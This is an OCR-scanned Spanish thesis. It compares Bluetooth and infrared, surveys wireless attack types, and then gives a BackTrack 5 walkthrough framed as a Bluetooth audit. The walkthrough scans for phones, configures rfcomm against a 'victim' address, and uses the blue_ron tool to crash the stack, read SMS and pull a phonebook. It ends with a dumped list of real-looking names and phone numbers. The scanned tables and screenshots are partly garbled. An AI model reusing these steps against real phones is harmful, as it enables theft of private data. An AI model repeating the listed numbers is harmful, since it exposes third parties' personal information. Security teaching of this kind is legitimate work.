Infrarrojo |+ Lineal entre con longitud de distancia de 0 a
transmisor y receptor. onda de 850 a un metro
950 nm

En la tecnologia Bluetooth claramente se observa que ofrece una amplia gama de conexion, a
diferencia de la que Infrarrojo ofrece punto a punto y una comunicacion directa entre emisor y
receptor, Bluetooth soporta 8 dispositivos como maximo en una conexion a diferencia de
Infrarrojo que lo hace Unicamente entre emisor y receptor, el tipo de sefial emitida en lo referente
a la tecnologia Bluetooth lo hace en banda ISA de 2.5 GHz , misma que utiliza salto de frecuencia
lo que hace de esta tecnologia no interfiera con otras estando dentro de un mismo lugar, en el caso
de Infrarrojo cualquier ruido puede causar interferencia.

En cuanto a la distancia de comunicacion bluetooth proporciona una longitud de 100 m a la
redonda como maximo; Infrarrojo Unicamente ofrece una distancia de 1 m y en conexion directa
con el dispositivo.
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Establecimiento de Protocolos de las tecnologias Bluetooth e Infrarrojo.

entre equipos.

IrLAP (Link Access
Protocol): estableciendo los
procedimientos  para la
busqueda e identificacién de
otros dispositivos.

IrLMP  (Link Management
Protocol): hace posible la
existencia ~ de  mdltiples
canales sobre una conexién
IrLAP.

protocolos basicos.

Tiny TP: proporciona el
control de flujo de datos.
IrOBEX: nivel de aplicacion
para intercambio de objetos.
IrCOMM: pone a
disposicion puertos serie y/o
paralelo para intercambio de
informacion por infrarrojo.
IrLAN: Protocolo para el
entorno de redes de é&rea
local

Tecnologia Protocolos Tipo de Trama
Bluetooth Radio: en esta capa se convierten los dato a sefial de | Consta de tres partes:
Bluetooth radio y viceversa + Codigo de acceso.
Base Band: comunicacién de varios equipos en modo full duplex. |+ La cabecera,
LINK manager protocol (LMP): configurar las conexiones entre | % Carga util.
los distintos dispositivos Bluetooth
Host controller interface o interfaz controladora de la maquina
(HCI): capa de software que intercambia todos los datos entre un
host y un controlador.
Logical link control and adaptation layer protocol (L2CAP):
adapta los protocolos superiores al protocolo de banda base.
RFCOMM: emula el funcionamiento de los puertos serie.
telephony control — binary (tcs binary): define sefializacion de
control de Ilamada.
Service discovery protocol (sdp): descubre los servicios
disponibles.
Protocolos Principales Protocolos Opcionales + Comienzo de Trama.
Infrarrojo + Datos.
PHY (Physical Signaling IrDA  Lite: reduce la|#* CRC.
Layer): define la distancia implementacion  de  los|# Finde Trama.

La utilizacion de los protocolos en la infraestructura de Bluetooth son imprescindibles la utilizacién de todos , ya
que cada uno cumple con una funcion especifica; para el caso de Infrarrojo se dividen en dos grupos, principales
que se utilizan obligatoriamente, y los opcionales que se los usa segln sea la necesidad como es el caso de los
sensores que se ocupan un par de protocolos opcionales.
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Perfiles y Escenarios de las Tecnologias Bluetooth e Infrarrojo

Inalambrica (CTP, Cordless Telephony Profile).
& Perfil de

Intercomunicacion (IP, Intercom Profile).

@ Perfil de Puerto serie

(SP, Serial Port Profile).

& Perfil de Acceso

Telefénico a redes (DUN, Dial-Up Networking).

& Perfil de Auriculares

(HS, Headset Profile).

& Perfil de Fax (FP, Fax

Profile).

& Perfil de Acceso a red

(LAP, LAN Access Profile).

& Perfil de Transferencia

De archivos (FTP, File Transfer Profile).
& Perfil de carga de

Objetos (OPUSH u OPP, Object Push Profile).
& Perfil de

Sincronizacion (Sync, Synchronization Profile).

Tecnologia Bluetooth. Infrarrojo.
Perfiles de acceso genéricos Bluetooth. Escenarios de estructura Infrarrojo.
+ Perfil de Puerto Serie. @ Escenarios de protocolos de
+ Perﬂl.de Aplicacion de Descubrimiento de usuarios.
Servicios. @ E i0s de | tocolo d
+ Perfil de Intercambio de Objetos. scenarios de fos protocolo de
driver.

Perfiles Perfil Para Modelo de Usos. @ Escenario de estructuracion de la

& Perfil de telefonia informacién a nivel de trama.
@ Escenario de nivel fisico.

La utilizacién de perfiles es un aspecto fundamental ya que son los encargados de establecer una comunicacion a
nivel de dispositivos (auriculares, impresoras, teclados, mouse, teléfonos, portéatiles), de diferentes marcas, para
esto Bluetooth cuenta con un gran nimero de perfiles, Infrarrojo en cambio utiliza escenarios que cumplen con la
misma funcidn dentro de esta tecnologia.
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TIPOS DE ATAQUES INALAMBRICOS.

2.6.1 ¢Qué es un ataque?

Los ataques son operaciones desautorizadas y perjudiciales, con los cuales los atacantes o
agresores satisfacen sus beneficios personales o simplemente lo llevan a cabo para hacer
dafio. Estos agresores son comunmente personas externas a las empresas que puedan tener

acceso a la red con el simple hecho de husmear sobre las comunicaciones inalambricas.
2.6.2 Clasificacion de los ataques inalambricos.

Existen diferentes formas de clasificar los diferentes tipos de ataques, la primera manera de
agruparlos es de acuerdo a la forma de que estos se implementan ya sea de forma activa o
pasiva, en los ataques pasivos se encuentran los méas sobresalientes como el sniffing y el

scanning. Los ataques activos:
El spoofing,

v

v" hijacking,
v" man-in-the-middle
v

Jamming.
2.6.2.1 Ataques Pasivos.

Estos ataques son los mas frecuentes y faciles de implementar sobre las comunicaciones
inalambricas debido a los bajos costos que involucran su desarrollo. Estos ataques se llevan
a cabo cuando alguien escucha u obtiene acceso al trafico de una red sin llegar a alterar su
contenido. Siendo esta la principal causa para que estos ataques sean dificiles de detectar
(Ver figura 57), un ataque pasivo sobre una red inalambrica puede o no llegar a ser
malicioso, ya que pueden ser usados para fines educativos o actividades administrativas.
Existen pocas formas en que un ataque pasivo, se puede llevar a cabo los mas comunes se

explican a continuacion.
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Figura 57: Ataque sniffing sobre una red inaldmbrica.

2.6.2.1.1 Sniffing.

En sniffing existen diferentes técnicas para la reunion de informacion entre las mas usadas
se encuentran el eavesdropping (husmeo) y el analisis de trafico.

El eavesdropping al igual que por analisis de tréfico, se hace uso de una tarjeta o adaptador
para redes inalambricas que trabaje sobre el mismo rango de frecuencias y use el mismo
método de transmision que emplea la red inalambrica objetivo, permitiendo asi que el
agresor pueda capturar el trafico transmitido sobre esta red. Para esto, los adaptadores
deben contar con caracteristicas propias de cada tipo de red.

Ejemplo para las redes 802.11 se utilizan adaptadores que soportan el modo de operacion
por monitoreo, con el cual se podran recibir todos los paquetes.

Algunos Sniffers cuenta con algunas herramientas para poder romper la seguridad que los
mecanismos de encriptacion ofrecen en las transmisiones inaldmbricas. Estas herramientas
consisten principalmente en descifrar las claves que utilizan los mecanismos de
encriptacion a través de la aplicacion de algoritmos estadisticos al trafico de la red objetivo.
Con la obtencion de estas claves, los datos transmitidos pueden ser descifrados facilmente

permitiendo que la informacion llegue a ser legible para el agresor.

2.6.2.1.2 Scanning.

El scanning es el acto de explorar los dispositivos inalambricos con el fin de encontrar y

explotar servicios o procesos. En redes 802.11, este ataque es implementado principalmente
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para descubrir dispositivos o redes disponibles que se encuentran al alcance del agresor.
Para llevarlo a cabo se utilizan herramientas como Netstumbler. En redes Bluetooth, este
ataque es implementado principalmente sobre celulares, PDAS (Personal Digital Assistant,
asistente digital personal) y laptops. Los agresores utilizan herramientas como blue sniff,
para encontrar dispositivos Bluetooth no descubribles y conocer los servicios con que
cuentan. Con esta informacién, los agresores son capases de explotar dichos servicios y de
esta forma comprometer la seguridad del dispositivo.

2.6.2.2 Ataques Activos.

Estos ataques se dan cuando un agresor realiza modificaciones a los mensajes, flujo de
datos o archivos, se dice que se esta cometiendo un ataque activo. Debido a estas
modificaciones, es posible detectar a estos tipos de ataques aunque estos no puedan
evitarse. Una vez que el agresor haya obtenido suficiente informacion de alguna red
inalambrica con el uso de algin ataque pasivo, puede iniciar un ataque activo en contra de
esa red. Existen muchas variaciones de ataques activos, la mayor parte de estos son
idénticos a los ataques que se encuentran en las redes inalambricas. Entre los ataques mas
especificos en redes inaldmbricas se encuentran los que incluyen accesos desautorizados
como el spoofing, modificacion de contenidos como el hijacking, y main-in-the-middle y

los que incluyen denegacion de servicio como el flooding o el jamming.
2.6.2.2.1 Spoofing.

El spoofing es el ataque activo mas frecuente implementado, en las redes inalambricas
debido a su sencillez. En este ataque el agresor es capaz de utilizar un dispositivo no
autorizado para hacerlo pasar por algun dispositivo valido o autorizado que pertenezca a la
red objetivo. En algunas redes inalambricas se utilizan como medios de seguridad la
aplicacion de métodos de filtracién de direcciones MAC para permitir el acceso a ciertos
dispositivos. En este contexto, para que el agresor pueda adquirir privilegios y accesos a los
servicios de la red, Gnicamente debe asignarle direcciones MAC validas a su dispositivo.
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Dependiendo de los privilegios adquiridos, el agresor podria tener acceso a la informacion

importante desde el manejo de servicios béasicos como las cuentas de email hasta la que se

relaciona con la administracion de una red.

2.6.2.2.1.1 Tipos de Spoofing.

9

&

IP Spoofing: Suplantacion de IP. Consiste basicamente en sustituir la direccién IP
origen de un paquete TCP/IP por otra direccion IP a la cual se desea suplantar.

ARP Spoofing: suplantacion de identidad por falsificacion de tabla ARP. Se trata de
la construccion de tramas de solicitud y respuesta ARP modificadas con el objetivo
de falsear la tabla ARP (relacion IP-MAC) de una victima y forzarla a que envie los
paquetes a un host atacante en lugar de hacerlo a su destino legitimo.

DNS Spoofing: Suplantacion de identidad por nombre de dominio. Se trata del
falseamiento de una relacion "Nombre de dominio-IP" ante una consulta de
resolucion de nombre, es decir, resolver con una direccion IP falsa un cierto nombre
DNS o viceversa. Esto se consigue falseando las entradas de la relacion Nombre de
dominio-IP de un servidor DNS, mediante alguna vulnerabilidad del servidor en
concreto o por su confianza hacia servidores poco fiables. Las entradas falseadas de
un servidor DNS son susceptibles de infectar (envenenar) el caché DNS de otro
servidor diferente (DNS Poisoning).

Web Spoofing: Suplantacién de una pagina web real (no confundir con phising). En
ruta la conexion de una victima a través de una pagina falsa hacia otras paginas
WEB con el objetivo de obtener informacién de dicha victima (paginas WEB vistas,
informacién de formularios, contrasefias etc.). La pagina WEB falsa actia a modo
de proxy solicitando la informacion requerida por la victima a cada servidor original
y saltandose incluso la proteccion SSL. El atacante puede modificar cualquier
informacion desde y hacia cualquier servidor que la victima visite. La victima puede
abrir la pagina web falsa mediante cualquier tipo de engafio, incluso abriendo un
simple LINK. EI WEB SPOOFING es dificilmente detectable, quizd la mejor
medida es algin plugin del navegador que muestre en todo momento la IP del
servidor visitado, si la IP nunca cambia al visitar diferentes paginas WEB

significard que probablemente estemos sufriendo este tipo de ataque.
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@ Mail Spoofing: Suplantacion en correo electronico de la direccion de correo
electrénico de otras personas o entidades. Esta técnica es usada con asiduidad para
el envio de mensajes de correo electrénico hoax como suplemento perfecto para el
uso de suplantacion de identidad y para SPAM, es tan sencilla como el uso de un
servidor SMTP configurado para tal fin. Para protegerse se deberia comprobar la IP
del remitente (para averiguar si realmente esa ip pertenece a la entidad que indica en
el mensaje) y la direccion del servidor SMTP utilizado. Otra técnica de proteccion

es el uso de firmas digitales.

2.6.2.2.2 Hijacking.

El hijacking consiste en el secuestro de una red inalambrica o una sesion. Este tipo de
ataque puede llegar a ser indetectable para los administradores, provocandoles la
incapacidad de diferenciar a el agresor de algun usuario legitimo, para llevar a cabo existen
diversas técnicas de implementacion, en su mayoria involucran a los dispositivos de red que
se encargan de distribuir el trafico correspondiente a cada maquina terminal, entre los
cuales se pueden mencionar a los enrutadores y APs. Muchos de estos dispositivos cuentan
con tablas dinamicas en donde se almacenan direcciones IP y/o MAC pertenecientes a las

maquinas terminal.

2.6.2.2.2.1 Ejemplos de Hijacking.

& |IP hijackers: secuestro de una conexion TCP/IP por ejemplo durante una sesion
Telnet permitiendo a un atacante inyectar comandos o realizar un DoS durante dicha
sesion.

@ Page hijacking: secuestro de pagina web. Hace referencia a las modificaciones que
un atacante realiza sobre una pagina web, normalmente haciendo uso de algin bug
de seguridad del servidor o de programacion del sitio web, también es conocido
como defacement o desfiguracion

@ Reverse domain hijacking o Domain hijacking: secuestro de dominio

@ Session hi jacking: secuestro de sesion
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& Browser hijacking: (Secuestro de navegadores en espafiol). Se llama asi al efecto de
apropiacién que realizan algunos spyware sobre el navegador web lanzando popups,
modificando la pagina de inicio, modificando la pagina de busqueda predeterminada
etc. Es utilizado por un tipo de software malware el cual altera la configuracion
interna de los navegadores de internet de un ordenador. EI término "secuestro” hace
referencia a que estas modificaciones se hacen sin el permiso y el conocimiento del
usuario. Algunos de éstos son féciles de eliminar del sistema, mientras que otros son
extremadamente complicados de eliminar y revertir sus cambios.

& Home Page Browser hijacking: secuestro de la pagina de inicio del navegador. Esto
sucede cuando la pagina de inicio, en la que navegamos es cambiada por otra a
interés del secuestrador. Generalmente son paginas en las que nos invita a usar los
servicios de la pagina para que nuestro equipo esté seguro Yy funcione
correctamente. No cabe decir que es a cambio de un pago y que el origen del error y
mal funcionamiento del equipo es debido a nuestro secuestrador

& Modem hijacking: secuestro del Modem. Esta expresion es en ocasiones utilizada
para referirse a la estafa de los famosos dialers que tanta guerra dieron en su dia
(antes del auge del ADSL) y que configuran sin el consentimiento del usuario
nuevas conexiones a nimeros de cobro extraordinario.

@ Thread hi jacking: secuestro de un "tema" dentro de un foro de discusion de
internet. Este término hace referencia a la situacion que ocurre cuando dentro de un
tema de discusion en un foro alguien intenta dirigir el hilo de la conversacion hacia
asuntos que no tienen nada que ver con el tema inicial. Esto puede realizarse de
manera intencionada para irritar al autor del tema o bien producirse de manera
natural y no intencionada generalmente por usuarios sin mucho conocimiento en el

asunto a tratar o que desconocen la dindmica de comportamiento de los foros.

2.6.2.2.3 Ataques main-in-the-middle.

Los ataques main-in-the-middle son disefiados para romper la confidencialidad e integridad
de las sesiones. Estos ataques requieren de informacion significativa a cerca de la red y

normalmente el agresor la utiliza para hacerse pasar por algin recurso perteneciente a esta.
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En redes 802.11 los ataques main-in-the-middle suelen ser implementados con el uso de un
AP (Access Point, punto de acceso) malicioso. La forma méas conocida, se lleva a cabo
cuando el agresor coloca un AP malicioso el SSID usado por la red, el cual puede ser
facilmente obtenido con la ayuda de algun sniffer, la computadora usuario no sabra si se
conectara con algun AP no autorizado. Si el AP malicioso cuenta con una excelente sefal,
el agresor conseguird que la computadora usuario se conecte al AP malicioso y asi poder
obtener informacion invaluable a cerca de la red tal como de las peticiones de autenticacion
se lograra obtener la clave compartida que puede estar en uso. En la implementacion de este
ataque, los agresores suelen usar una laptop con dos tarjetas inalambricas, una que se
desempefiara como el AP malicioso y la otra para transmitir las peticiones del AP legitimo.
Es por esto que, si el agresor cuenta con los suficientes conocimientos, cuando un terminal
usuario intente establecer una conexién con algln otro dispositivo de red, al agresor la
interceptara y la podra terminar de establecer, adquiriendo la capacidad de introducir datos
o modificar las comunicaciones.

En el caso de Bluetooth, el agresor aprovecha la mala configuracion de seguridad que
pueden tener dos dispositivos victimas para poder llevar a cabo este ataque. Una
implementacidn se puede realizar con la obtencion de las claves de enlace y los BD_ADDR

de los dispositivos, ya sea por medio de un sniffer o por métodos de adivinacion.

2.6.2.2.4 DoS.

Los ataques DoS (Denegation of Services, Denegacion de servicios) consiste basicamente
en mantener ocupados a los servicios ofrecidos por un dispositivo o una red, hasta
conseguir que estos servicios no sean disponibles a los usuarios legitimos. Existen muchas
formas de implementar un ataque DoS. Entre las mas comunes en redes inalambricas se
encuentran los que se llevan a cabo cuando el agresor le realiza constantes solicitudes de
respuesta a un dispositivo objetivo hasta inhabilitar sus servicios (Flooding).

En rede Bluetooth este ataque es implementado por (Flooding) provocando que ademas de
inhabilitar los servicios disponibles por los dispositivos victimas como teléfonos y PDAS,

sus baterias pueden llegar a degradarse.
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2.6.2.2.5 Jamming.

La mayoria de las comunicaciones inalambricas trabajan con frecuencias publicas, es decir,
no existe alguna licencia para poder trabajar sobre estas y por lo tanto manejan los mismos
rangos de frecuencias debido a esto, existen multiples dispositivos electronicos que pueden
interferir en las comunicaciones de las redes inalambricas, entre los demas destacados se
encuentran los teléfonos inaldmbricos, los monitores para bebes y los hornos de
microondas. Ademas, entre las mismas tecnologias de comunicacion inalambrica existen
problemas de frecuencias, como lo es la coexistencia de redes 802.11 y Bluetooth que
llegan a entorpecer sus transmisiones aunque las dos tecnologias manejen diferentes

métodos de transmision (DSSS y FHSS respectivamente).
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CAPITULO 3
AUDITORIA A LAS REDES (WPAN),
MEDIANTE BLUETOOTH UTILIZANDO
BACKTRACK 5
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3.1 Que es Backtrack?

Es una distribucion GNU/Linux pensada y disefiada para la auditoria de seguridad y
relacionada con la seguridad informatica en general. Actualmente tiene una gran
popularidad y aceptacion en la comunidad que se mueve en torno a la seguridad
informatica.

Se deriva de la union de dos grandes distribuciones orientadas a la seguridad, el Auditor +
WHAX. WHAX es la evolucion del Whoppix (WhiteHat Knoppix), el cual paso a basarse
en la distribucion Linux SLAX en lugar de Knoppix. La Gltima version de esta distribucion,
la version 5 de nombre “Revolution”, cambi el sistema base, antes basado en Slax y ahora
en Ubuntu 10.04 LTS (Lucyd Lynx), y por primera vez, tendra soporte para arquitecturas
de 32 y 64 bits, algo nuevo en la distribucion, pues, se lanzaba exclusivamente la version de
32 bits.

Backtrack “Revolution” soporta el entorno de escritorio KDE 4, Gnome 2 y Fluxbox, lo
que permitira al usuario descargar la edicién con el entorno de escritorio de su preferencia.
Es también la primera version de Backtrack que incluye el codigo fuente completo dentro
de sus repositorios, aclarando asi cualquier problema de licencias que se haya presentado en
Backtrack 4.

Incluye una larga lista de herramientas de seguridad listas para usar, entre las que destacan
numerosos scanners de puertos y vulnerabilidades, archivos de explotas, esnifes,
herramientas de analisis forense y herramientas para la auditoria Mireles. Fue incluida en el

puesto 32 de la famosa lista "Top 100 Network Security Tools" de 2006.

3.1.1 Whoppix y WHAX

Whoppix es una distribucién Live de Linux que naci6 con la intencién de proporcionar un
entorno unificado para la auditoria de seguridad. Su nombre deriva de White Ha Knoppix.
La ultima version antes de convertirse en WHAX (White Ha Slax), fue la 2.7

WHAX esta pensado para pruebas de seguridad y penetracion de sistemas. Posee las
ultimas versiones de varias herramientas de seguridad. El cambio de nombre se debe a la

migracion del sistema base, originalmente Knoppix, ahora SLAX.
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3.1.2 Requerimientos del sistema para Backtrack 5

Sistema operativo: Windows XP SP2 / Vista/ 7
Procesador: Pentium 1000 GHz

Memoria: 512 Mb

Espacio Disponible en el Disco: 2,0GB

3.2 Inicializacion de Backtrack.
@ Antes de introducir el Live CD cerciorarse de cambiar el modo de arranque en el
BIOS de la maquina.

& Escoger la opcion arrancar desde el CD para que cuando la maquina se reinicie lea
el Live CD.

<< back | track [5

Figura 58: Inicio de Backtrack.
@ En la pantalla de selector de arranque o GRUB, donde usando las flechas

arriba/abajo del teclado elegir la primera opcion Backtrack Text mode cheatcode
acpi=off y pulsamos Intro.
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BackTrack Live CD

BackTrack Stealth — No Networking enabled
BackTrack Forensics — No Driveor—sw ount
BackTrack Debug — Safe Mode

e
BackTrack Memtest — Run meﬁteszf/,,—“"-
Hard Drive Boot — boot the first hard di

cc back | track [=

Press [Tabl to edit options

Automatic boot in 38 seconds...

Figura 59: Pantalla de seleccion de arranque.
& Para el siguiente paso esperar unos minutos para que se inicialice y el live CD

empiece a trabajar, a continuacion se vera una pantalla como la siguiente.

Y 3
AU Yo

G113 Copy
el e 01
2 p ¥

Figura 60: Pantalla de inicio de Backtrack 5.
@ En la siguiente pantalla ingresar el codigo startx para inicializar en modo grafico,

no es necesario loguearse ni ingresar un password.
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Rt e L LLL L LY
(=] Unlcome to the BackTrack % Distribution, Codamane “Novalution™
t=1 OFficial BackTrack Home FPagm: http:  uw.backtrack- | inux,org

(=) OFficia
HEE R

(=1 To =tar
(=1 The def

Figura 61: linicio de Backtrack 5.
@ Hay que esperar con paciencia mientras finalice la lectura para poder iniciar en
modo gréfico.

loading. ...
5

Figura 62: Ventana de espera de la iniciacién de Backtrack 5.

3.3 Contenido de Backtrack

La idea principal de Backtrack es el enfoque la seguridad de las redes inalambricas,
Backtrack estd dotado de una serie de herramientas muy ajustadas a la seguridad en
general.

Como podemos ver el mend de Backtrack esta totalmente en castellano es una de las cosas

que mas caracterizan esta distribucion.
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Las herramientas de Backtrack vienen estructuradas de la siguiente forma.

Figura 63: Contenido del men( de Backtrack.

Los contenidos de Backtrack estan divididos en Drivers, Aplicaciones y también incluye la

nueva seccion de herramientas Bluetooth

3.3.1 Drivers.
Backtrack incluye soporte para los chipset de las tarjetas wireless que mas se usan
Prism54.

v

SR N N N Y N N N N N N NN

Madwifi-ng.

Wlan-ng.

Host AP.

Ralink rt2570

Ralink rt2500

Ralink rt73

Ralink rt61

Zydas ZD1201 — ZD1211rw — ZD1211b (sin interrupciones en las capturas)
Intel pro wireless ipw2100
Intel pro wireless ipw2200
Intel pro wireless ipw3945
Realtek rtl8180

Realtek rtl8185

Realtek rtl8187
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v" Broadcom (incluida la inyeccion)
v’ Texas Instruments
La ventaja de Backtrack 5 es que es compatible con muchas més versiones nuevas de
chipset y tarjetas.
También incluye lanzadores para los chipset mas comunes.
& Una vez que se inicialice se mostrara la siguiente ventana de inicio de Backtrack 5,
con un mend principal donde se encuentran las herramientas de Backtrack

desplegable, iconos que identifican al conqueror y consola.

. ]

—

ce hack | track |

2]

* @
T KONQUERROR

KONSOLA
MENU

Figura 64: Ventana de Bienvenida de Backtrack.
En la parte inferior presenta el menu desplegable de Backtrack y las sub herramientas

encontradas dentro de los mismos.
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ce hack | fraclk

Figura 65: Menu Backtrack 5.

3.4 Inicializacion de la interfaz de la tarjeta en Bluetooth.
Para este paso se procederd a trabajar mediante comandos ejecutados en la consola.
& EI primer paso es verificar la interfaz de la tarjeta, esto se realiza con el siguiente
comando hciconfig —a hciO en este ventana muestra las caracteristicas de la tarjeta

bluetooth, ademas se muestra que la interface para bluetooth no esté inicializada

< % root@root: ~
File Edit View Terminal Melp

~<help Display help
ccfgeetiles  Use <file> as the config file

“<ho-reset Do not reset
rost:<# hedcontiy the Bluetooth adapter before scanning

Type: BR/EDR Bus: USB

z“nu: 00:00:00:00:00:00 ACL MTU: 0:0 SO MTVU: 0:0

RX bytes:34 acl:0 sco:0 events:3 errors:0
TX bytes:12 acl:0 sco:0 comsands:4 errors:0

rootiroot:~#

Figura 66: Inicializacion de la interfaz de Bluetooth.
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@ En la siguiente ventana digitar el comando hcitool ing hci0, que permite escanear
los dispositivos Bluetooth cercanos, mostrando la direccion MAC de los

dispositivos encontrados.

1F:7E:DE:25: 17
O0:AL:0A:67:E8:18 clock offse
00:0A:94:11:22:33 clock offset

i~# hcitool scan
anning ...
G0:A1:0A:67:E8:18
00:0A:94:11:22:33
rootl:~8

Figura 67: Escaneando dispositivos Bluetooth.

& Abrir otra ventana.
@ Ejecutar el siguiente comando hcidump —X, Sniffer local de trafico HCI mismo que

permite crear un enlace entre la computadora y las victima.

8 ity X
1 SALTfer « Bluetooth pachet asalyder ver | &
x«. mo g len: 1039 n\m ounmm

L emote HOSt Supported Features Mot
:i.‘-.:NM“OOOO 000099900‘:’
{ Event: Remote Name Reéq“Complete (0x07)

W
W

AWM
00 00 00 _00.00
00 _00-90 00 00
@0 00 00 00 00
00 00 00 06 00
00 00 60 00 00 €
00 00 00 00 00
00 00 00 00 00 €
00 00 00 00 00
00 60 00 00 00

00
00
00
00
00
00
: 00
00
: 00
: 00

Figura 68: Enlace entre la computadora y la victima.

@ El comando hcitool scan hci0, permite escanear los dispositivos con las

caracteristicas del teléfono, version, marca.
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\F:TE:0€:25: 17
O0:AL:0A:67:E8: 18
Q0:0A:94:11:22:33

t~# hcitool scan

A annlw "o
G0:AL:0A:67:E8:18
00:0A:94:11:22:33

rooti~g

Figura 69: Caracteristicas especificas de los dispositivos escaneados.

3.5 Comprobando conexidn con el dispositivo.

El siguiente paso es ejecutar el comando 12ping MAC del dispositivo Bluetooth. Envio de
solicitudes echo respuesta nivel L2CAP.

IF:78:08:29:)17 tlock
O0:AL:0A:07:E8:18 clock offset
O0:0A:94:11:22: 33 clock offset

| t~# hecitool scan
scanning ...

60:A1:0A:67:68:18 nine
00:0A:94:11:22:33 M

oot~

Figura 70: Conexion con el dispositivo.

@ Una vez ejecutado este comando se muestra una ventana en la que se describe el

tipo de acceso al teléfono el protocolo, el canal es decir las caracteristicas de acceso
hacia el dispositivo.
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:/etc/bluetooth® sdptool Drowse 00:1F:JF DE .
Browsing 00:1F:7E:DE:25:17 ..
wrvice RecHandle: Oxd
Service Class ID List:

“SOP Server™ (0x1000)
Protocol Descriptor List:
“L2CAP" (8x0100)
“SOP* (Gx0001)
Profile Descriptor List:
“SDP Server" (6x1000)
Version: 6x0100

Figura 71: Caracteristicas de Acceso al dispositivo.

& Abrir una nueva consola.
& Escribir el siguiente comando cd /etc/bluetooth para hacer uso de este directorio.

s /ete/bluetoothd nano rfcomm. con

. Jete/bluetooth? nano madn. conf

: /Jetc/bluetooth? chmod 755 {main.conf, network, cor
sod: cannot access ‘network.conf': No such file or direct

: /etc/bluetooth® chmod 755 {main.conf,rfcomm. conf)
- /etc/bluetooth® s
vin.cont rfcomm.conf rfcomm.conf.save

Figura 72: Accediendo al directorio cd /etc/bluetooth.

La finalidad de este comando es mostrar en una ventana las caracteristicas del teléfono al
gue se esta atacando como se muestra en la siguiente figura. De esta manera se podra
escoger uno de los dos protocolos mostrados en la ventana para lanzar el ataque, que en

este caso es L2CAP, RFCOMM que estan en el canal 4.
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/etc/bluetoothe sdptool browse 00:1F: 7F . D¢
ing 00:1F:7E:DE:25:17 ..
wervice Rechandle: Oxd
Service Class 1D List:
"SOP Server® (0x1000)
Protocol Descriptor List:
“L2CAP* (0x0100)
“SOP* (0x0001)
Profile Descriptor List:
“SOP Server® (0x1000)
Version: 0x0100

Figura 73: Caracteristicas para el ataque.

3.6 Modificacion del Programa RFCONF.
& Abrir una consola nueva.
& Digitar el siguiente comando cd /etc/bluetooth para para poder acceder a este
directorio.
@ digitar nano.rfcomm.conf, al entrar en este archivo modificar las siguientes lineas,
colocando los datos de las victimas que deseamos atacar. Esto es el canal y la MAC

del dispositivo.
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e

FAGLanatically bind the deviee ot startw
U R Y

¢ Bluetooth address of the device
device 60:A1:0A:67:68:18;

e -
:::tw'hg Mu-;

Figura 74: Modificacion del archivo nano.rfcomm.conf.

& En la parte superior del archivo, modificar el tipo de inicializacion automatica del
comando, se cambia por la opcion yes.

|

B “‘““‘.”' g the deviee Marty
Bind yes;

¢ Bluetooth address of the device

device 60:A1:0A:07:60:18;

# RFCOMM channel " \
channel 11; ”( fu-

¢ Description of the

comment “Example Mw;

Figura 75: Inicializando el dispositivo en modo automatico.

& Regresamos a la consola anterior.

& Digitar el comando nano main.conf, se abre la ventana del programa principal del

archivo rfconf en donde se realizan cambios de la clase aqui se debe introducir la
clase perteneciente al dispositivo de la victima dispositivo.
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Figura 76: Cambio de clase.

3.6.1 Comprobacién de los cambios en RFCOM.
Para poder constatar los cambios que se realizé en el programa realizar lo siguiente
& Regresar a la consola y digitar la siguiente linea de comando rfcomm, en este caso
deberd mostrarse una pantalla con la direccion MAC vy el canal en el que se

encuentra el dispositivo.

vJetet :

:/ete/bluetooth? nano main. mf

:/etc/bluetooth? chaod 755 {main.conf,network, con
sod: cannot access ‘network.conf': No such file or direct

- Jetc/bluetoothd chmod 755 {main.conf,rfcoms. conf)
: /ete/bluetoothd s

»a1N0 (“' d‘.o“’ mu’om
: /etc/bluetoothd

Figura 77: Comprobando cambios en rfcomm.
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3.6.1.1 Realizando conexién mediante rfcomm.

& En este paso se verifica la conexion con rfcomm mediante el comando rfcomm
connect 0, hay que esperar unos minutos mientras la conexion se establece puede

durar un poco de tiempo.

Figura 78: Realizando la conexion con rfcomm.

3.6.1 .2 Uso del Programa Blue_ron.

Mientras esto sucede
@ Abrir una nueva consola digitar el siguiente comando ./bluespin.sh esta opcion abre
el programa Blue_ron mismo que muestra todas las opciones que se pueden aplicar
en el hackeo de datos mediante ataques a bluetooth.
t:-# ./bluespin.sh
BEBBEBBBBREBRERBBHBRBBERRRRBBRRRRBBRRBERBRBERIRE
Blue ron rfcomm rfcomm crash toolkit

NOTE: This script 1s meant for educational
Purposes. Use 1t at your own risk

% " " % N %

Ronnieflip
ronnieflip@yahoo.com

RARBEBRRBERBRBRUERBBRBBERRRBBEBERRBRBRBER BB ERERBER

-
(=]
Q.
o
mw
~
¥ N % B W

#* % %N

Blind security@ 2010

Figura 79: Abriendo el programa Blue_ron.
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@ Esperar unos segundos y en seguida se abre una ventana donde muestra las

diferentes opciones de comandos para poder aplicarlos a este programa.

Blue ron v0.1 ( www.ronnieflip.blogspot.com | www.blindsecurity.org )

blue ron [options] -b <al el ERRIES

-b <addr> Bluetooth address of victim
-¢ <channel> Channel to use (default: 11)

Options:

<device> Device name to use (default: '/dev/rfcomm')
<crash> Crash device rfcomm stack

<sms> Get SMS massages on the phone.

<phonebook> Get Phonebook of remote device

<del> Delete function

<file> Write output to <file>

Figura 80: Opciones de comandos para blue_ron.

3.6.1.3 Hackeo mediante opciones de blue_ron

@ Para esta parte se debera digitar el siguiente comando: ./blue_ron —p —b (direccion
MAC del dispositivo) —c (canal) donde:

-p: accede de forma remota a un teléfono.
-b: especifica la direccion de un dispositivo.

-c: es el canal en el que se encuentra el dispositivo.
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-¢ <channel> = Channel to use (default: 11)

Options:

Device name to use (default: '/dev/rfcomm')
Crash device rfcomm stack

Get SMS massages on the phone.

Get Phonebook of remote device

Delete function

Write output to <file>

<device>
<crash>
<sms>
<phonebook>
<del>
<file>

dial <num> Dial number
ATCMD Custom Command (e.g. '+GMI')

Note: You need to bind the remote device manually.,
Enter command:
./blue_ron -p -b 00:1B:33:05:69:9D - ¢ 9'

Figura 81: Especificando opciones de hackeo en blue_ron.

3.7 Hackeo de niimeros telefénicos.

& En este paso se logré acceder a la agenda telefonica de la victima, donde se detalla
el listado de nimeros telefonicos.

@ esperar mientras se establece la conexidn de peticion con la victima.

Error: 233~ /dev/rfcomm - 0x003 address

Pulling phonebook off 00:0F:86:A0:24:67

Loading

Figura 82: Espera de peticion con la victima.

Una vez que se haya completado el tiempo de espera se abre una ventana con el listado de

numeros telefénicos de la victima.
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Ronnie , 9818303531

Suraj, 9873889502

Mutahi , 9910981248
Taxi, 9711370778
Rukshana, +919711587715
Sylvia, +919953879445
Neema, 00255762893089
